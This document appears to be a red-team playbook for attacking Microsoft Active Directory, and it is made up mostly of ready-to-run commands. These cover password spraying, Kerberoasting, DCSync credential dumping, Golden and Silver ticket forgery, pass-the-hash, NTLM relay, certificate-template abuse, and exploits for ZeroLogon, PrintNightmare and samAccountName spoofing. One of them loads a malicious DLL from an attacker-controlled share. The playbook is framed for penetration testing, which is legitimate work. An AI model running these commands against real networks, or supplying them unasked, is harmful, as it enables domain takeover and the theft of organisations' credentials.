Active Directory Attacks
Purpose
Provide comprehensive techniques for attacking Microsoft Active Directory environments. Covers reconnaissance, credential harvesting, Kerberos attacks, lateral movement, privilege escalation, and domain dominance for red team operations and penetration testing.
Inputs/Prerequisites
- Kali Linux or Windows attack platform
- Domain user credentials (for most attacks)
- Network access to Domain Controller
- Tools: Impacket, Mimikatz, BloodHound, Rubeus, CrackMapExec
Outputs/Deliverables
- Domain enumeration data
- Extracted credentials and hashes
- Kerberos tickets for impersonation
- Domain Administrator access
- Persistent access mechanisms
Essential Tools
| Tool | Purpose |
|---|---|
| BloodHound | AD attack path visualization |
| Impacket | Python AD attack tools |
| Mimikatz | Credential extraction |
| Rubeus | Kerberos attacks |
| CrackMapExec | Network exploitation |
| PowerView | AD enumeration |
| Responder | LLMNR/NBT-NS poisoning |
Core Workflow
Step 1: Kerberos Clock Sync
Kerberos requires clock synchronization (±5 minutes):
bash# Detect clock skew nmap -sT 10.10.10.10 -p445 --script smb2-time # Fix clock on Linux sudo date -s "14 APR 2024 18:25:16" # Fix clock on Windows net time /domain /set # Fake clock without changing system time faketime -f '+8h' <command>
Step 2: AD Reconnaissance with BloodHound
bash# Start BloodHound neo4j console bloodhound --no-sandbox # Collect data with SharpHound .\SharpHound.exe -c All .\SharpHound.exe -c All --ldapusername user --ldappassword pass # Python collector (from Linux) bloodhound-python -u 'user' -p 'password' -d domain.local -ns 10.10.10.10 -c all
Step 3: PowerView Enumeration
powershell# Get domain info Get-NetDomain Get-DomainSID Get-NetDomainController # Enumerate users Get-NetUser Get-NetUser -SamAccountName targetuser Get-UserProperty -Properties pwdlastset # Enumerate groups Get-NetGroupMember -GroupName "Domain Admins" Get-DomainGroup -Identity "Domain Admins" | Select-Object -ExpandProperty Member # Find local admin access Find-LocalAdminAccess -Verbose # User hunting Invoke-UserHunter Invoke-UserHunter -Stealth
Credential Attacks
Password Spraying
bash# Using kerbrute ./kerbrute passwordspray -d domain.local --dc 10.10.10.10 users.txt Password123 # Using CrackMapExec crackmapexec smb 10.10.10.10 -u users.txt -p 'Password123' --continue-on-success
Kerberoasting
Extract service account TGS tickets and crack offline:
bash# Impacket GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.10 -request -outputfile hashes.txt # Rubeus .\Rubeus.exe kerberoast /outfile:hashes.txt # CrackMapExec crackmapexec ldap 10.10.10.10 -u user -p password --kerberoast output.txt # Crack with hashcat hashcat -m 13100 hashes.txt rockyou.txt
AS-REP Roasting
Target accounts with "Do not require Kerberos preauthentication":
bash# Impacket GetNPUsers.py domain.local/ -usersfile users.txt -dc-ip 10.10.10.10 -format hashcat # Rubeus .\Rubeus.exe asreproast /format:hashcat /outfile:hashes.txt # Crack with hashcat hashcat -m 18200 hashes.txt rockyou.txt
DCSync Attack
Extract credentials directly from DC (requires Replicating Directory Changes rights):
bash# Impacket secretsdump.py domain.local/admin:password@10.10.10.10 -just-dc-user krbtgt # Mimikatz lsadump::dcsync /domain:domain.local /user:krbtgt lsadump::dcsync /domain:domain.local /user:Administrator
Kerberos Ticket Attacks
Pass-the-Ticket (Golden Ticket)
Forge TGT with krbtgt hash for any user:
powershell# Get krbtgt hash via DCSync first # Mimikatz - Create Golden Ticket kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /krbtgt:HASH /id:500 /ptt # Impacket ticketer.py -nthash KRBTGT_HASH -domain-sid S-1-5-21-xxx -domain domain.local Administrator export KRB5CCNAME=Administrator.ccache psexec.py -k -no-pass domain.local/Administrator@dc.domain.local
Silver Ticket
Forge TGS for specific service:
powershell# Mimikatz kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /target:server.domain.local /service:cifs /rc4:SERVICE_HASH /ptt
Pass-the-Hash
bash# Impacket psexec.py domain.local/Administrator@10.10.10.10 -hashes :NTHASH wmiexec.py domain.local/Administrator@10.10.10.10 -hashes :NTHASH smbexec.py domain.local/Administrator@10.10.10.10 -hashes :NTHASH # CrackMapExec crackmapexec smb 10.10.10.10 -u Administrator -H NTHASH -d domain.local crackmapexec smb 10.10.10.10 -u Administrator -H NTHASH --local-auth
OverPass-the-Hash
Convert NTLM hash to Kerberos ticket:
bash# Impacket getTGT.py domain.local/user -hashes :NTHASH export KRB5CCNAME=user.ccache # Rubeus .\Rubeus.exe asktgt /user:user /rc4:NTHASH /ptt
NTLM Relay Attacks
Responder + ntlmrelayx
bash# Start Responder (disable SMB/HTTP for relay) responder -I eth0 -wrf # Start relay ntlmrelayx.py -tf targets.txt -smb2support # LDAP relay for delegation attack ntlmrelayx.py -t ldaps://dc.domain.local -wh attacker-wpad --delegate-access
SMB Signing Check
bashcrackmapexec smb 10.10.10.0/24 --gen-relay-list targets.txt
Certificate Services Attacks (AD CS)
ESC1 - Misconfigured Templates
bash# Find vulnerable templates certipy find -u user@domain.local -p password -dc-ip 10.10.10.10 # Exploit ESC1 certipy req -u user@domain.local -p password -ca CA-NAME -target dc.domain.local -template VulnTemplate -upn administrator@domain.local # Authenticate with certificate certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10
ESC8 - Web Enrollment Relay
bashntlmrelayx.py -t http://ca.domain.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
Critical CVEs
ZeroLogon (CVE-2020-1472)
bash# Check vulnerability crackmapexec smb 10.10.10.10 -u '' -p '' -M zerologon # Exploit python3 cve-2020-1472-exploit.py DC01 10.10.10.10 # Extract hashes secretsdump.py -just-dc domain.local/DC01\$@10.10.10.10 -no-pass # Restore password (important!) python3 restorepassword.py domain.local/DC01@DC01 -target-ip 10.10.10.10 -hexpass HEXPASSWORD
PrintNightmare (CVE-2021-1675)
bash# Check for vulnerability rpcdump.py @10.10.10.10 | grep 'MS-RPRN' # Exploit (requires hosting malicious DLL) python3 CVE-2021-1675.py domain.local/user:pass@10.10.10.10 '\\attacker\share\evil.dll'
samAccountName Spoofing (CVE-2021-42278/42287)
bash# Automated exploitation python3 sam_the_admin.py "domain.local/user:password" -dc-ip 10.10.10.10 -shell
Quick Reference
| Attack | Tool | Command |
|---|---|---|
| Kerberoast | Impacket | GetUserSPNs.py domain/user:pass -request |
| AS-REP Roast | Impacket | GetNPUsers.py domain/ -usersfile users.txt |
| DCSync | secretsdump | secretsdump.py domain/admin:pass@DC |
| Pass-the-Hash | psexec | psexec.py domain/user@target -hashes :HASH |
| Golden Ticket | Mimikatz | kerberos::golden /user:Admin /krbtgt:HASH |
| Spray | kerbrute | kerbrute passwordspray -d domain users.txt Pass |
Constraints
Must:
- Synchronize time with DC before Kerberos attacks
- Have valid domain credentials for most attacks
- Document all compromised accounts
Must Not:
- Lock out accounts with excessive password spraying
- Modify production AD objects without approval
- Leave Golden Tickets without documentation
Should:
- Run BloodHound for attack path discovery
- Check for SMB signing before relay attacks
- Verify patch levels for CVE exploitation
Examples
Example 1: Domain Compromise via Kerberoasting
bash# 1. Find service accounts with SPNs GetUserSPNs.py domain.local/lowpriv:password -dc-ip 10.10.10.10 # 2. Request TGS tickets GetUserSPNs.py domain.local/lowpriv:password -dc-ip 10.10.10.10 -request -outputfile tgs.txt # 3. Crack tickets hashcat -m 13100 tgs.txt rockyou.txt # 4. Use cracked service account psexec.py domain.local/svc_admin:CrackedPassword@10.10.10.10
Example 2: NTLM Relay to LDAP
bash# 1. Start relay targeting LDAP ntlmrelayx.py -t ldaps://dc.domain.local --delegate-access # 2. Trigger authentication (e.g., via PrinterBug) python3 printerbug.py domain.local/user:pass@target 10.10.10.12 # 3. Use created machine account for RBCD attack
Troubleshooting
| Issue | Solution |
|---|---|
| Clock skew too great | Sync time with DC or use faketime |
| Kerberoasting returns empty | No service accounts with SPNs |
| DCSync access denied | Need Replicating Directory Changes rights |
| NTLM relay fails | Check SMB signing, try LDAP target |
| BloodHound empty | Verify collector ran with correct creds |
Additional Resources
For advanced techniques including delegation attacks, GPO abuse, RODC attacks, SCCM/WSUS deployment, ADCS exploitation, trust relationships, and Linux AD integration, see references/advanced-attacks.md.
